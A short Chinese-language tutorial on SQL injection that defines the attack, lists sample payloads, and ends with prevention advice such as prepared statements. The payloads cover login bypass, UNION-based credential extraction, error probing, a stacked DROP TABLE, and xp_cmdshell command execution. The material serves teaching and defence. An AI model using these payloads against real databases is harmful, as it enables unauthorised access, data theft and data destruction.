1,定义:在构建数据库 SQL 语句时,攻击者在参数请求中注入恶意的 SQL 代码,并在在数据库中执行,操控数据库执行意图之外的操作。
2,目的:窃取数据、修改数据、删除数据、绕过身份验证、权限提升,执行系统命令等。
3,例如
3.1例:用户名admin,密码‘ or ‘1’=’1
注入前:select * from users where username = ‘admin’ and password = ‘1’
注入后:select * from users where username = ‘admin’ and password = ‘’ or ‘1’=‘1’
3.2例:用户名admin' -- 密码anything,其中 -- 是 SQL 的注释符号,忽略了密码条件
SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything'
3.3例:输入用户名:admin' OR '1'='1 输入密码:anything,OR '1'='1' 总为 true
SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'anything'
3.4例:通过 UNION 将攻击者构造的查询结果与合法查询结果合并,从而获取敏感数据
参数' UNION SELECT null, username, password FROM users --
构造后SELECT id, name FROM users WHERE id = '' UNION SELECT null, username, password FROM users --'
3.5例:故意触发数据库错误,利用错误信息推测表名、列名或数据
' AND 1=CONVERT(int, (SELECT @@version)) --
SELECT * FROM users WHERE username = '' AND 1=CONVERT(int, (SELECT @@version)) --'
3.6例:堆叠查询注入,允许多条 SQL 语句同时执行
'; DROP TABLE users; --
SELECT * FROM users WHERE username = ''; DROP TABLE users; --';
3.7例:存储过程注入
'; EXEC xp_cmdshell('dir'); --
EXEC LoginProcedure 'username', ''; EXEC xp_cmdshell('dir'); --'
3.7例:Cookie 注入,修改浏览器存储的 Cookie 值进行注入。
Cookie: session_id=' OR '1'='1;
4,如何预防:将输入与 SQL 语句分离,避免输入被直接解析为 SQL 代码。
- 1,过滤 SQL 语句的数中的特殊字符,比如单引号、双引号;
- 2,限制参数输入的长度;
- 3,参数有效性检验;
- 4,使用预编译PrepareStatement
- 5,不用拼接 SQL 字符串